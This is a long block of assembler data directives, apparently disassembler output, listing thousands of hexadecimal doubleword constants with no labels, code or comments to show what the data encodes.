		dd 78EF0Dh, 1DBE0A3h, 11FABD24h, 2F05D32Dh, 0CE0BC2Ch
		dd 8A6B8FB5h, 6D099D61h, 2BFCF4A1h, 0B200D7FCh,	1E8C54A9h
		dd 135E271Fh, 69B8582h,	0D0207570h, 0E2873BD9h,	1B007973h
		dd 0F0BE108Bh, 742F68h,	8A559A8Dh, 410F0524h, 0B57E1E05h
		dd 84ACC584h, 0D19A4B00h, 135A90C1h, 9FA17800h,	40D317B7h
		dd 7BF60002h, 9049DD96h, 71CA2E57h, 3A0150D7h, 60FACE83h
		dd 0F4150160h, 9459C129h, 6D3BD2E5h, 7CB48040h,	0ABE6CAh
		dd 83FEB801h, 0A908F6A5h, 0AF53F300h, 0F8103245h, 490B00CAh
		dd 0DFB093FFh, 0A9A021DCh, 2E3BEEA0h, 0D6D3805Dh, 0ED2325BCh
		dd 0CCD20030h, 1B96020h, 0BB784B52h, 8C2FE61Ch,	1FF79440h
		dd 5CD688C7h, 0A800738Bh, 0AA5C9C26h, 56000A24h, 7D5B6F34h
		dd 2A82ECh, 3BC25AD5h, 6DE487B1h, 0B6069200h, 71FEE515h
		dd 0FFD10068h, 0CBA361Ah, 0D6008ADCh, 93D459B4h, 60B01291h
		dd 8E606883h, 2B07FE23h, 9515D96Fh, 0F7BDAB30h,	2FB40C18h
		dd 1E285E3Ah, 15B7339h,	86677A17h, 9A606531h, 0E10C00A5h
		dd 0C3AF8F79h, 0DEFC6256h, 83F25772h, 9ABD7F17h, 0AFE8CC00h
		dd 7901AA5h, 63E35C9Dh,	9BC1067h, 4F5CFE9Ch, 1B0070D8h
		dd 0F580E2AEh, 37FD51Ah, 0B1138A3Ah, 5ECFC251h,	2148B060h
		dd 0D0284F29h, 67008F1Eh, 0E6B34C99h, 0F2CE614Bh, 7C6838CCh
		dd 0F3F74FCh, 3683650Bh, 5720ADCFh, 25BA673Ch, 27B6E401h
		dd 14D0E2Dh, 0A5229880h, 8895EE57h, 3D895400h, 4FF0DACCh
		dd 0A9730063h, 0ECF35D4Bh, 497D879Ah, 4A537C00h, 6FA0033Ch
		dd 7B0119F8h, 0D0836843h, 180051D7h, 3C25A7D4h,	7CC99A6Dh
		dd 6970FBh, 5C4C0409h, 713F17D8h, 0DFCD4B00h, 2CE1EB90h
		dd 793800BCh, 69ECD392h, 8216289Eh, 2A00B6BBh, 0CF6A5CD0h
		dd 57B3F6Eh, 0B5C29C80h, 0D879948Dh, 0D5A38B00h, 18160C93h
		dd 7A09002Fh, 7C3AE677h, 0E10C5F42h, 0E2F9943Fh, 768C0068h
		dd 0D9CC7F4h, 0B90EAFBEh, 6A1119F2h, 0D70088B5h, 0D5D43D70h
		dd 0CF10D4B4h, 37047301h, 207EFF14h, 0F400240Ch, 9ABF3120h
		dd 58CDE03h, 66F111D8h,	6FBC82BAh, 98623760h, 0F8F8322Fh
		dd 1D06001Dh, 0AF26DE88h, 8B00A652h, 0FF551C21h, 80AAB9h
		dd 0C4D54392h, 52E06653h, 464EA71Fh, 0E889C600h, 506C32DCh
		dd 0FF0D671h, 54C19209h, 894BABE0h, 0CC5C0183h,	0A230069h
		dd 12131F24h, 74D83092h, 0CECDA7B0h, 70252E3Fh,	70C1D4E9h
		dd 8421A600h, 0F4425E0Ch, 1E7318h, 0D3E99243h, 87B901DDh
		dd 0DE648300h, 9DC73321h, 1FA67418h, 23DBBEh, 0F7A95F6Bh
		dd 0FD0719F8h, 3D821657h, 69C5DF60h, 787D00A7h,	9726CDCBh
		dd 2100ADEBh, 0C61A07C2h, 3C8969Eh, 0D5693655h,	0F9900999h
		dd 45003A32h
		dd 654E9C1Dh, 7E9CF3Eh,	1C485979h, 25978022h, 0B0156ADh
		dd 0A5754DB7h, 2F603FD9h, 0B8090077h, 8BDC42EAh, 817B947Fh
		dd 5A50B300h, 66652306h, 0F6C609A5h, 60A022D0h,	0D1B843B1h
		dd 0EDCC5F00h, 4FDAB563h, 294712D9h, 0C99F0012h, 38A8C445h
		dd 80720C3Dh, 1828B2F3h, 2A58151h, 12D26B83h, 14404694h
		dd 0FF0065CBh, 20E81F61h, 0FC8E5B25h, 0F9410028h, 0C85EB4A5h
		dd 0FE0054C0h, 2C87E1B1h, 58B9BC7Ah, 720164E0h,	0D88B86A6h
		dd 3AD88E4Ah, 7E1A0096h, 1DAF821Bh, 8039CD83h, 68257B29h
		dd 891F6CACh, 9840F521h, 62D154A4h, 16390030h, 0B409B966h
		dd 0BB00DB7Dh, 0ECF2E20Fh, 5EFAEBh, 0DFD92BE9h,	8B435269h
		dd 0B66E0B0Eh, 560E0099h, 329438h, 0CFE96B23h, 0E33C37C4h
		dd 30612700h, 5FFC702h,	216514A2h, 0D300E6EFh, 0EB1E78Ah
		dd 0C490FD43h, 830C9700h, 83766DDh, 33CE273Fh, 0D8DE0A41h
		dd 0EE39CC21h, 839B000Fh, 0C707011Ah, 467166h, 0E7BEF4D4h
		dd 7E240974h, 8B5BD00h,	5BD90FC0h, 55E200F9h, 20AB8BA5h
		dd 0E3003350h, 0B39AADBCh, 0B8D5951Ch, 3FDA3F7Ch, 0C741B700h
		dd 0CC434615h, 2DBA6F00h, 0D9625A77h, 0A55E004Bh, 12EF57EDh
		dd 0B6FAB055h, 0F5EA3700h, 0B2D53F01h, 0CEA3000Ch, 2BCB3D6Bh
		dd 281E807Dh, 0BF00C224h, 40077B09h, 0FE3201D7h, 2A65EFB5h
		dd 4FB8F479h, 93D1C301h, 0BE8F9924h, 5EE4F461h,	52DE00AEh
		dd 0ECC0FD8Bh, 940BFB2Bh, 17EE5Bh, 79B9A544h, 7D74AEh
		dd 7820994Dh, 4AA74E71h, 9F3D1E90h, 29386Eh, 61FA1D74h
		dd 0E858ECA6h, 83E100BBh, 81E7A746h, 0E900555Ch, 3C2C4EFBh
		dd 315185h, 0B70322Fh, 0ED773407h, 6AE00300h, 0F4E7121Ch
		dd 0FC8A76ACh, 0CE1403A4h, 2E52B41Ah, 208D1003h, 0E0987D63h
		dd 1F380A4Bh, 9DBDA1h, 80230721h, 85007E2Dh, 0A58FD578h
		dd 0E5F4A079h, 0C1092180h, 6B7DBFCDh, 22002DE4h, 1071694Ch
		dd 3CD9A0D3h, 218001A7h, 0AED1D4E2h, 0D51EA2B3h, 0CAC08A1Ch
		dd 56CD2A77h, 0A878008Bh, 197D349Eh, 2218FC6Eh,	98A12D81h
		dd 600BF814h, 13C8B8C6h, 0D800280Eh, 95DE7819h,	61772BD6h
		dd 989B4165h, 7088A0D9h, 9DB9A600h, 0B51B2616h,	0A2574E2h
		dd 0FC0214B1h, 2E4D8774h, 0D579807Eh, 333EB0EFh, 0D8F10E69h
		dd 4523E0C6h, 742B8A26h, 0B1BC0196h, 8535AD57h,	0A93EF838h
		dd 2F127800h, 0A53C8E68h, 28397CA2h, 3ECD1E94h,	5100A0DBh
		dd 0ACE05993h, 38C45461h, 386A957h, 568E00A8h, 0C5C01EBEh
		dd 0AA00A0DAh, 9639C679h, 36CD07A6h, 404820F0h,	17CE420h
		dd 0AD143406h, 0E0338EDCh, 0B060D67Ah, 7B1A8D29h, 0BE1C38Ch
		dd 3D98D0F0h, 0FB33F896h, 1EC218A1h, 30AC0709h,	0F03CE089h
		dd 4D5080FFh, 0B99C8EB4h, 9470C06Dh, 0F17D35CEh, 719A9F1Dh
		dd 0E2032028h, 0A863340Dh, 0BC5F8D19h, 5D884680h, 0F17F5ACh
		dd 9FBE6A8Eh, 297D809Fh, 0B1FDF808h, 6060D0h, 0EB2D184Fh
		dd 390EF9B7h, 680FAD02h, 0A6C03070h, 0B14E6A0Ah, 0FA1E1003h
		dd 80813D06h, 5DCAD0h, 2204A530h, 2A4F5EDFh, 0B5934600h
		dd 3D6F03CBh, 0A6441761h, 11D84h, 0FF87C049h, 940183A7h
		dd 50AD8FD9h, 4AD8E568h, 5198A2h, 9D10175h, 4E47B06Dh
		dd 3C00D2FCh, 57C6192Ah, 161E8EAh, 0D8109872h, 0F059A81Ah
		dd 0DA0A4234h, 8C11F9AEh, 2B704D80h, 939AA4h, 1EAA6A3Dh
		dd 0A3781A7Eh, 0DD09CA8h, 225CCB03h, 0A081527Dh, 0C35A0E56h
		dd 14AE1A40h, 40A8EADFh, 1DE264F1h, 331F267Ah, 0FD41742Dh
		dd 8C6D951Ah, 5E29508Ch, 1BDA408h, 0CAE1F66Bh, 0B551FC0h
		dd 2FE24C24h, 4B22EE80h, 0A0CE773h, 50D69EBBh, 1A1600B2h
		dd 0FAB0AA10h, 49118539h, 0F005B2Ah, 946E44E5h,	8F1D575Fh
		dd 0DD0FA243h, 0CE118020h, 2497B4DCh, 1E76E9Dh,	0F02E5659h
		dd 28E9B89Ah, 57909E14h, 0A3F3A605h, 9420F89Ch,	0EC9FEDE2h
		dd 3CC40F8Bh, 0FA04FB3h, 6A2951D4h, 248181C0h, 0D55942h
		dd 0CEF302CBh, 84FCA3F2h, 454E8600h, 0B13B5549h, 666B01E2h
		dd 0F06F0CB7h, 173C20F8h, 3AAD1E3Ah, 5400FC07h,	7E92A731h
		dd 150CF9Eh, 0FCF2C6B6h, 0A11CE03Dh, 4D500411h,	51023E54h
		dd 292DD703h, 0CAB8322Bh, 0B039094h, 3AF074DBh,	0E7B0CF89h
		dd 17DFAAA9h, 785D5B7h,	7065F673h, 7CB993Ah, 98B6DC0Fh
		dd 1CBF46Ah, 8D8AAA04h,	0C970D3C8h, 6F9857h, 15A261EFh
		dd 8C554D16h, 0ACEC5000h, 0C978D404h, 56421263h, 0DCC200CEh
		dd 128EABB2h, 0A78B8F00h, 0F194C6B7h, 2840765h,	0D7C0E5h
		dd 298252F9h, 0E9019E79h, 0C3C4573Dh, 4EE0F37Bh, 393E00B0h
		dd 0E7A8285Fh, 7F0E4692h, 1F63B28Ah, 3486545h, 21EF40C0h
		dd 8629001Dh, 1A95B31h,	0AA005D37h, 54C9BBFEh, 3F478142h
		dd 6E939002h, 7490330h,	0C5A04DD4h, 0A4E49FE4h,	52386C03h
		dd 0D84BFAC0h, 789A1Fh,	9984AF91h, 3537E658h, 0ED0E3B00h
		dd 0DA6157F1h, 11E00B8h, 0AAFE8CD5h, 33003DA1h,	0E82313FAh
		dd 3FB0AE8Fh, 7AC5D9Fh,	0E3AF07C1h, 91CFD0A6h, 59B8B406h
		dd 6B882660h, 1B5C18Ch,	95215390h, 40C4BFA7h, 35CF7EF0h
		dd 76F52F09h, 77508047h, 0EEE9CE2h, 0B52AF156h,	95AF922Fh
		dd 3C20270Eh, 0ECBBD79Eh, 1C376401h, 0EECDE85Fh, 0E7D0D440h
		dd 0B0B800E4h, 6831A098h, 2D00F83Ch, 6E653803h,	32707B3h
		dd 7B98DB87h, 0DD9844A7h, 6030E5B0h, 0B3D7988Ah, 0B8580C6h
		dd 0FF729A1Dh, 6719B00h, 4C796E0Dh, 2800ACF7h, 0A8491101h
		dd 6A3F5A2Ah, 700B8E45h, 750E876Fh, 7CCD3811h, 1792020h
		dd 846C460Fh, 30E5FAF3h, 0B3008E24h, 771EECEFh,	3066BFE1h
		dd 0E426A486h, 0DE908FC3h, 87744B1Ch, 9BDF9240h, 0A4647Dh
		dd 1460E7A6h, 0E382EC68h, 9D3F1803h, 0F0FE2399h, 759EBA5h
		dd 0F46487B1h, 0CD182073h, 0F00110A9h, 0F22694BEh, 66F8BF7Fh
		dd 0E8C56581h, 9A5C4034h, 9C21F96Ch, 3098900h, 0A05A7601h
		dd 7115143Dh, 0D400B866h, 0F6DDCCEDh, 0E8E8E542h, 0F44EE100h
		dd 72043986h, 1DBB0094h, 3D1A756Ah, 19747420h, 44CC4900h
		dd 1D68C53h, 31601E0Ch,	0F1CF430Eh, 7D88DA8Bh, 7B30B5A1h
		dd 0FFAF781Dh, 0AA5F0025h, 0DC909968h, 60F3FCD3h, 2D00AC9Ah
		dd 9BA51285h, 0E98CCF23h, 42C50ECh, 0F0945EAh, 4220C3F5h
		dd 4446A3F0h, 1FFDB8C7h, 0E5C45390h, 60B97DB4h,	0F44AF90Ch
		dd 920C6227h, 0E9A7032Fh, 0C5EF00D2h, 0E07D870Fh, 10713A44h
		dd 4C45B303h, 0C0B2C33Bh, 8947C8h, 276874FEh, 96418C22h
		dd 45995A07h, 0B12017A6h, 0EC9BF2C4h, 21BB009Eh, 7F912216h
		dd 0BF002419h, 0C4662E90h, 45D280h, 0C028A7D6h,	3E683935h
		dd 9B81F300h, 73D48FFDh, 11EA0008h, 0FA195CFCh,	4F01221Fh
		dd 36B620F6h, 7180F275h, 0C0CED88Dh, 0D67122C6h, 0AF2CCD28h
		dd 11AEBE00h, 51EED2F3h, 10F70080h, 0C409694Dh,	3700B8FCh
		dd 4927B96h, 7FC2674Eh,	0F6B0B9h, 87E82F3Ah, 66962179h
		dd 72A1C91Ch, 5300FC1Dh, 70FF5D20h, 0B67B00BDh,	0D6D0C2AAh
		dd 30C0F482h, 0FAE265ADh, 76490025h, 3528869Ch,	7C3C3355h
		dd 4D538092h, 5C4AD8B0h, 29F70F1Dh, 0D360D63Dh,	0B73FA858h
		dd 77031006h, 5073A2h, 39E0A15Fh, 0BD9278EBh, 107AAD00h
		dd 0E67ED646h, 491700DAh, 0F3E3D42Ch, 23004FEDh, 0E8749212h
		dd 0A6AA41h, 0CFB084A7h, 13106508h, 156C0E00h, 1295A319h
		dd 71D6266Ah, 0B7930334h
		dd 1898D0E6h, 72EE2CC9h, 0CC5E4A05h, 0D40FD3ECh, 58A900A4h
		dd 986FF0h, 42E5CAF5h, 662417Ch, 473D9914h, 52800D8h, 0ED24D22Ch
		dd 6622004Eh, 82408B5Ch, 43149C39h, 0E2AFA4h, 0A1A21604h
		dd 1A7AC6Ch, 74B187A8h,	0E554D517h, 62662098h, 8AFF5100h
		dd 769B5C95h, 1C700E2h,	0AA7BC881h, 0B000B4E9h,	0B162B97Fh
		dd 8B90D5h, 5EFD13C0h, 0F146111h, 0D5C4502h, 418178BAh
		dd 0EC70C938h, 98CD241Bh, 91BB00D2h, 9D42081Fh,	8F437114h
		dd 0D3A90084h, 0B640A8A0h, 81E000B9h, 282DC277h, 0E95C7366h
		dd 0C6D100F4h, 0CEEC1D69h, 9F5C1FF5h, 6CD5C095h, 0FAD44A6h
		dd 0BE039707h, 0F7A92EB5h, 8B218000h, 0A004C54Dh, 1A08C437h
		dd 830B0B80h, 860E3E63h, 603ADB00h, 39196F76h, 4559F000h
		dd 4D70DE89h, 5EF400E6h, 98EC69BBh, 0AF00A5B0h,	0A24AB7EEh
		dd 26EB2393h, 9EE330h, 0C6C8A0F2h, 5FF0C4E7h, 0BA155B00h
		dd 0D1834DACh, 617A0358h, 41D3B532h, 3CBE580Eh,	29216020h
		dd 487FE2h, 10A84488h, 9769D3Dh, 2CC7D00h, 25370FD7h, 11050098h
		dd 0DA3BAC88h, 7507A933h, 0A404E643h, 4A803A45h, 83907h
		dd 0A1E36023h, 217A444Ch, 3628D900h, 0DF1E8CA2h, 7EEE0042h
		dd 9F32299Ah, 0C5001C87h, 0CB51CD90h, 3854D0ABh, 37807438h
		dd 0F0E453A5h, 9AF24723h, 33268400h, 0B1EA315Bh, 0ADEF1E90h
		dd 7B280001h, 0F8D9AABAh, 350C2B00h, 1026A965h,	37E56h
		dd 34876E1Ah, 2D886DE3h, 528ADF0Dh, 0C2EC213Eh,	3307825h
		dd 185ADA51h, 0D8009C11h, 9E491BF5h, 78B6C74Eh,	15400A7h
		dd 5ADF0ED8h, 16FC92D5h, 42EBEE1Dh, 7E1398E4h, 6513D600h
		dd 0F9EA50h, 0FEE74B64h, 4AD4F6Bh, 0AF59620Fh, 0BA5A8006h
		dd 5EF509h, 5DFA0CB5h, 67EF13C4h, 617C000h, 7018C96Fh
		dd 0B88F3826h, 60129718h, 0C000C8D2h, 0FA2A5995h, 7F1F81Bh
		dd 0C7B51826h, 0B0A2C996h, 1880BD01h, 2EA2E194h, 23088F67h
		dd 9505B647h, 1BE2848h,	5B6AFA1Ah, 8EF6D022h, 96BFA30Ch
		dd 1D03185Dh, 802A1298h, 0D558F1E8h, 0C150C6D7h, 0E07C1938h
		dd 0DA436400h, 28A2E990h, 54BB708Fh, 819B349Ah,	50590602h
		dd 2A57E753h, 0F3A0D7C2h, 0F030C346h, 0F69D005Dh, 0B5C5BEE9h
		dd 2300D53Fh, 7B6F878Ch, 5C9B48DAh, 0D4392F7Eh,	30DCF800h
		dd 66E4E060h, 0FE3B1300h, 730841BBh, 90F7F1Ch, 0B3F4F17h
		dd 3489BD80h, 4A1F8D09h, 0C801A2Fh, 9B044146h, 37D6001Eh
		dd 6A89F487h, 7700E09Dh, 0E608A434h, 74F5A943h,	0D6AB0056h
		dd 0F6652BDFh, 1900D713h, 6E3F6836h, 0D3E6FCh, 0F2A743B5h
		dd 895C0764h, 9AFBEB0Eh, 2AE4E0A0h, 1E82B3h, 465A5E3Eh
		dd 37C08D9Fh, 306E338h,	84FFF7F0h, 0C892A0D5h, 6C1F004Dh
		dd 0AF0AE634h, 9A00022Bh, 30701762h, 898FDDh, 450C5E87h
		dd 3C96BA29h, 792C460Ah, 0F284A8D6h, 7C098EBh, 3382F9C2h
		dd 0EC08D253h, 0E4182100h, 0BE893D98h, 0B21E0036h, 75149CB7h
		dd 9600B9FBh, 7ED5DF6Eh, 1B38CE1h, 9D4C918Eh, 9B288D14h
		dd 2349D270h, 0DD012678h, 0D25B6998h, 1288EA18h, 749800D5h
		dd 507A9F3Bh, 3A0F8B5Dh, 0B30DB69Bh, 6013940Dh,	0A46A5840h
		dd 0DD3103DBh, 36A3D166h, 400428B6h, 0D92E2581h, 6BF61890h
		dd 5EE91D95h, 5711865Dh, 0F1600855h, 95531921h,	854E3E73h
		dd 77D59003h, 0F0D7151Eh, 3506935Eh, 1A3658C0h,	623FE7ACh
		dd 8D167081h, 0BEC16100h, 0F430142h, 33E8F839h,	931EC810h
		dd 0B4B6B503h, 98EC3B14h, 51BAB2h, 0B834E6BBh, 0FD5BD415h
		dd 6BF98400h, 0C09F7357h, 0B52700A6h, 2E09FE68h, 670107BAh
		dd 0D26ACCB6h, 7DD06459h, 0C0835F21h, 0A075EBF2h, 9DE3B51Bh
		dd 121F608h, 633F8FA8h,	0D0A43009h, 2330C2E5h, 55A9943Ah
		dd 3E37E68h, 83FE7DD2h,	39006F58h, 54D5BE2h, 0A53AA7h
		dd 6C3FBA62h, 4378B144h, 36023400h, 75CEB661h, 0C321007Ch
		dd 0E7F7DDEFh, 58D89EB2h, 5C846349h, 65371C7Ch,	0B3D85711h
		dd 2A0E3BCh, 0C03AEB67h, 21523015h, 62CFA5h, 7936131Eh
		dd 0D839E4D3h, 5EA08560h, 0C19B4F16h, 0B4326360h, 0F619846Ch
		dd 0DD00AC8Ah, 16FFBA54h, 118029DBh, 1F8AAA20h,	37405A3Ch
		dd 0AD2F1D8Eh, 0A1C600AEh, 5631CC14h, 4003DEAh,	0E3747C22h
		dd 32E8D58h, 0B6751A20h, 0C3C0701Bh, 0EAEAD2DFh, 32CA2A07h
		dd 710084A8h, 6CAA97h, 9B48029h, 4C5E2DDEh, 19127200h
		dd 9034C3DCh, 1C76CBh, 0E07C760Fh, 1B06F965h, 61FA1E00h
		dd 0BE773CEAh, 0BCE291h, 0F501920Eh, 0CD09AE4Fh, 759A13Fh
		dd 0DE02756Dh, 0E0790BC3h, 0EDA6CAh, 5EF3DD3Dh,	415BE814h
		dd 26B0C64Ah, 3195034Bh, 0B65780A6h, 0E0EEA790h, 7D001498h
		dd 6725C97Ch, 0F902F66h, 10E6D8CAh, 80C3B2C7h, 7332E1EEh
		dd 0A1B07EE1h, 38DFEFh,	6869E65h, 3407D8CCh, 2EE516ECh
		dd 95DDCB20h, 56650F69h, 0D80FF1FFh, 55C53D80h,	66FA11A3h
		dd 68436B36h, 3CD70030h, 0AB4DADC6h, 0C5FEC8D3h, 632B8600h
		dd 0EB44AF52h, 3D03195Bh, 0FC2580F7h, 770134DDh, 0A953C08Ah
		dd 0E70E06Dh, 0B8DF0FD5h, 48009E27h, 0BF7AD991h, 0AE12C00h
		dd 80AFA42Ah, 0F0991D1Ch, 1880BF75h, 77E9ED5Eh,	961DFA01h
		dd 3D8E82DDh, 0F639987Fh, 0CD30049h, 0A2AFC79Fh, 18C36736h
		dd 0A033417Ah, 752BF8Bh, 3FE69D64h, 752F802Eh, 3203F7C8h
		dd 0DDF91DF4h, 3E5800AAh, 0F5BF77DEh, 2F0061A4h, 0ADDCAFEFh
		dd 0FA98A6h, 65DF4C21h,	5BF0AB3Eh, 0D900DA75h, 0CB4BAE5Fh
		dd 3E2D7CDh, 17807245h,	39B091C8h, 0FE01FBD0h, 88E433CFh
		dd 69869A5Dh, 0C0F2D52Dh, 8020C1E7h, 1BC48BB0h,	0CE37312h
		dd 0BED9DC45h, 27002E18h, 0A93C9728h, 0E4141Ch,	0D0681F5Fh
		dd 7BDBEDC3h, 0A510761Dh, 0F145400Ch, 857D2A3Dh, 0E5900C90h
		dd 9D18E3B2h, 48F4EC00h, 0E6C0B6D9h, 18D70130h,	5E6AAACFh
		dd 9D8CD8D1h, 0AFC8D009h, 80288F49h, 68077254h,	0C73A002Ah
		dd 9F3817FCh, 0D37A4A43h, 0CE0516E6h, 0CF211AAAh, 0F7C9042Bh
		dd 0C0AB3A07h, 0F68AB949h, 0E3E62000h, 0B2CF12E2h, 0EBFB004Bh
		dd 0A025F792h, 40181A83h, 0F296F14h, 0F91088E3h, 889F9188h
		dd 1B896EE4h, 0C203A08h, 513D60ECh, 61808214h, 0BA4FE901h
		dd 0DA44FF46h, 0D8F1AA43h, 94984h, 0D92BE61Ah, 0BBC796ACh
		dd 0B3F6CE00h, 6D7EF15h, 340F0075h, 0A253DAF1h,	6A3D3372h
		dd 0D4DD8032h, 68284A2Dh, 83090FC1h, 99C237F7h,	80A1B57Ch
		dd 0E8DB4BB6h, 5C07E8E2h, 0C7F38C28h, 134940Ch,	0B92B7B1Dh
		dd 20DA3BF0h, 9300A385h, 5D9C0F03h, 7181E8AAh, 0D34000A8h
		dd 179D139Ah, 0E4E77001h, 42061467h, 0F33F2D63h, 0C5843841h
		dd 9CFBA980h, 46B57003h, 1F003A7Bh, 9E785428h, 0EA6C7Fh
		dd 8D28637h, 82FE3196h,	83D9C800h, 99177D2Eh, 0ED5518B5h
		dd 0CCE9C01Bh, 0D7635707h, 2D10F3EEh, 4711D8h, 4030076Eh
		dd 58C23F1Fh, 0CE316400h, 364398B0h, 0F84FE229h, 1BF00A2h
		dd 0DF349D14h, 0A9C0EFB5h, 19CED8DBh, 0FF953C1Bh, 55536700h
		dd 0F28D65E8h, 34FECDFAh, 27848C00h, 0C4526F20h, 1FBA0067h
		dd 0D862DF2Bh, 0E8004621h, 0B69F063Fh, 0FC2A14h, 0CB52D110h
		dd 82AB3DA1h, 7A67B40Fh, 0FD06E07Ch, 0C0DDE1h, 7D116DA2h
		dd 0DEDFD22Ah, 37F64A00h, 0D4EE4836h, 52E100DCh, 70537F8Ch
		dd 1D0FB4A8h, 0E7E9BCA0h, 84F1D359h, 0F07F5F4Bh, 5300A6F6h
		dd 0AA366B5Ch, 1C23EB4Ah, 8B9407h, 7E30BA26h, 8505AE0Bh
		dd 2595BCB3h, 32CDA800h, 0AB6E15h, 0E8F084Fh, 0D4B1E1A7h
		dd 0CC34930Ch, 6EE2C4Bh, 3BAA0BD6h, 5B006C4Ch, 7664962Dh
		dd 0E64AB88Dh, 6FDA3A69h, 0CE047D80h, 0E2D02772h, 15AEAC13h
		dd 2A0E7C07h, 0E73B4780h, 0D8B893h, 84733482h, 0B7EF51FBh
		dd 0CB0715E6h, 83B6BFDEh, 854B6B10h, 92410027h,	0DBEF5433h
		dd 0CA011588h, 3E22E701h, 2CF8C04Bh, 5FEA1DB0h,	107983BBh
		dd 0D2D0C6F0h, 0CC00BD41h, 0EB9BB3F4h, 90D1E27h, 0BF305F9Dh
		dd 0F687BD00h, 0DB0F480Eh, 40ADE210h, 916C1974h, 0D9FB0069h
		dd 0CD2881D0h, 140166C5h, 419B5867h, 0ECC82E6Dh, 290C0013h
		dd 5A728FCFh, 3100988Bh, 1DE571A1h, 0E6CEE06h, 0C1FCE30h
		dd 29B04420h, 2A005F92h, 77871D31h, 7140407h, 5E52A8DBh
		dd 4A78A01Fh, 0E6074BEAh, 6DADA094h, 5CC09144h,	11557D2h
		dd 79132C8Eh, 0E4307FB5h, 6A77F8DCh, 854CEE00h,	0A2F90F96h
		dd 6FA2681h, 0B22C0046h, 0C744C6BBh, 58257E09h,	88B800A6h
		dd 9820BA21h, 5DF90910h, 0A0C0D9h, 788F64BDh, 3E857312h
		dd 0AEC0C41Ch, 33C6B5D2h, 7D89005h, 709BEECDh, 948150D9h
		dd 92007CA8h, 0CAE43452h, 65C69Fh, 0C52EA30Ch, 0AB40A9E5h
		dd 9601DE00h, 0D9080B06h, 7C430753h, 1004BB85h,	0A5E012AAh
		dd 4F3D9001h, 1739CBB2h, 0A0B4F4h, 0FF9C74ABh, 4919AE24h
		dd 5258FA1Eh, 0D45AF340h, 134E5332h, 0CC8043h, 7C8DF9F0h
		dd 0FB001516h, 616872A6h, 0F4B53C6h, 75B6DD44h,	0D01BAD7h
		dd 73CDF8CCh, 0F2AB1BD4h, 0F2C39B1h, 0ED5C1780h, 0DB3F77D2h
		dd 911E5D13h, 2079AC00h, 552E5Ah, 18ABB9C8h, 0FC05C219h
		dd 753A6D00h, 93DE3B17h, 22CB0A2h, 0E34CDB21h, 0A6E0D1F4h
		dd 62260811h, 0A803C80h, 332760A0h, 9E7700F4h, 98D3B683h
		dd 0D200794Dh, 0A55C4504h, 0F39F74h, 0EE2402B7h, 0C8F39C6h
		dd 0E19B0707h, 0B990188Eh, 0C320ACh, 0F56E3C80h, 0DAC1E8CEh
		dd 8E87EA3Bh, 40CC7407h, 3D7A7898h, 0DBE20055h,	252B0D84h
		dd 0C8FDE7F2h, 581285DCh, 0F400354Ah, 0C6C49C2Ah, 0E8824E3Eh
		dd 28950BF5h, 641C021Fh, 70F94074h, 81030059h, 6220B69Dh
		dd 8D00A0CAh, 0B4F3D0B5h, 3A8CB16h, 0CCD2B256h,	0B1DA1377h
		dd 0DA9BA43h, 0EC33E8B5h, 0BCE3FB00h, 61A71B92h, 571E3FEEh
		dd 25388800h, 0ECC8C521h, 63DEEA00h, 7026516Eh,	9C6F005Ah
		dd 4466F682h, 0C4989BD4h, 6E14FB1Eh, 1487A8CFh,	189A30CCh
		dd 2E04FF21h, 364CEFCh,	75824C44h, 9E717480h, 0E4012CE6h
		dd 6F115A3Bh, 0ACD52164h, 4A5FA8C3h, 0DBBA00FDh, 478E3782h
		dd 97001585h, 0D6C69272h, 83D441h, 5C2BFE18h, 0A8FAA389h
		dd 89FA203h, 808D219Eh,	7BAE90h, 80F9CB3Dh, 99FD186Dh
		dd 0D178A501h, 0E04C0E76h, 5DF5C8h, 95BEC3C0h, 0B53C8541h
		dd 0E71E4012h, 0A465EF07h, 8B7E93E0h, 0C0556077h, 0CE925E70h
		dd 44E1BC00h, 0BA360FCCh, 17272449h, 2FAF01B5h,	70E8434Bh
		dd 4A132434h, 0BE145CCEh, 1EA901A4h, 65937F21h,	2378F4h
		dd 0D687A2E9h, 0E315EFEEh, 0DE01F26h, 5F284000h, 49854B2h
		dd 0B770E55Ah, 0E9B09099h, 4900AD5Eh, 23D64B0Ch, 0F6F218h
		dd 0D54388Ah, 34E56C67h, 7C41C800h, 2861FAE8h, 80DE0F0Bh
		dd 0A2602B03h, 0C2164BE7h, 0C6F3602h, 78E4D90h,	2F8862C9h
		dd 67C8029h, 11CAD18h, 0FAF5200Ah, 30B1D136h, 0F77A274Ch
		dd 3870882Eh, 0F6A51501h, 48805DCEh, 0D5FE5502h, 4B00502Dh
		dd 0C79254BDh, 7B90DAEh, 7D30B177h, 66830041h, 0A7005B6Dh
		dd 72924D38h, 128A5D97h, 0C606E0h, 3AC4A300h, 54B09511h
		dd 395A0238h, 0BE43AC9Bh, 2E37A40Bh, 0B72C6084h, 0BB1286h
		dd 872634AFh, 7390F98Bh, 0AE0CF500h, 0F29C0BEFh, 10BC0036h
		dd 0F49B16A7h, 0EA0073EBh, 32D2AA6Eh, 4A88A90Eh, 1D780065h
		dd 397491F2h, 6FCA4F1Ch, 0CFDDB5C0h, 0F1217Ch, 28789995h
		dd 0BCE97BF6h, 0EB97A600h, 0C5C306DFh, 0D7E60041h, 1441EA4h
		dd 340A228Bh, 908FC2CDh, 0B2E79E3Ah, 4E981458h,	2CC700F0h
		dd 92131ECh, 0DE72BDF7h, 61A5B400h, 4E7CE24Dh, 0CF660079h
		dd 218D9CCBh, 4C5C93E0h, 807839A2h, 75375B7Ch, 0DB0B9Ah
		dd 0DC023F7Fh, 0DDB8566Ah, 73F0960Fh, 7771E004h, 0F8DF7C4h
		dd 90AE8ED8h, 0C8CD5920h, 43130455h, 3007EE9Ah,	5D90054Ah
		dd 0F34CF6Dh, 784EB39Ch, 0E10B1C82h, 79F077E3h,	3D005AD6h
		dd 0E7BB5C1Dh, 938CD7Ch, 0D56D7E0Ch, 76683010h,	0EF1A7000h
		dd 0F48A6A59h, 64981Bh,	0EAB7C0E0h, 0FBDBF362h,	6BC69000h
		dd 48549CE2h, 137000BCh, 76C07986h, 0C77A402Fh,	320B4C91h
		dd 38500359h, 3AD1A007h, 0CD150006h, 0C41C0B3Fh, 3000C40h
		dd 270191C3h, 77A9CDFh,	0BE46D826h, 992EA010h, 8E00CECBh
		dd 0FC0E2B8Ah, 0C9272Ch, 5F8FE958h, 0E495D247h,	70E09A01h
		dd 0ABCEB30Ch, 531D20h,	0D19E1B33h, 0E1497FEEh,	2120CA01h
		dd 68B80506h, 25A04ACCh, 7483D258h, 0F178304Eh,	0F36D990Dh
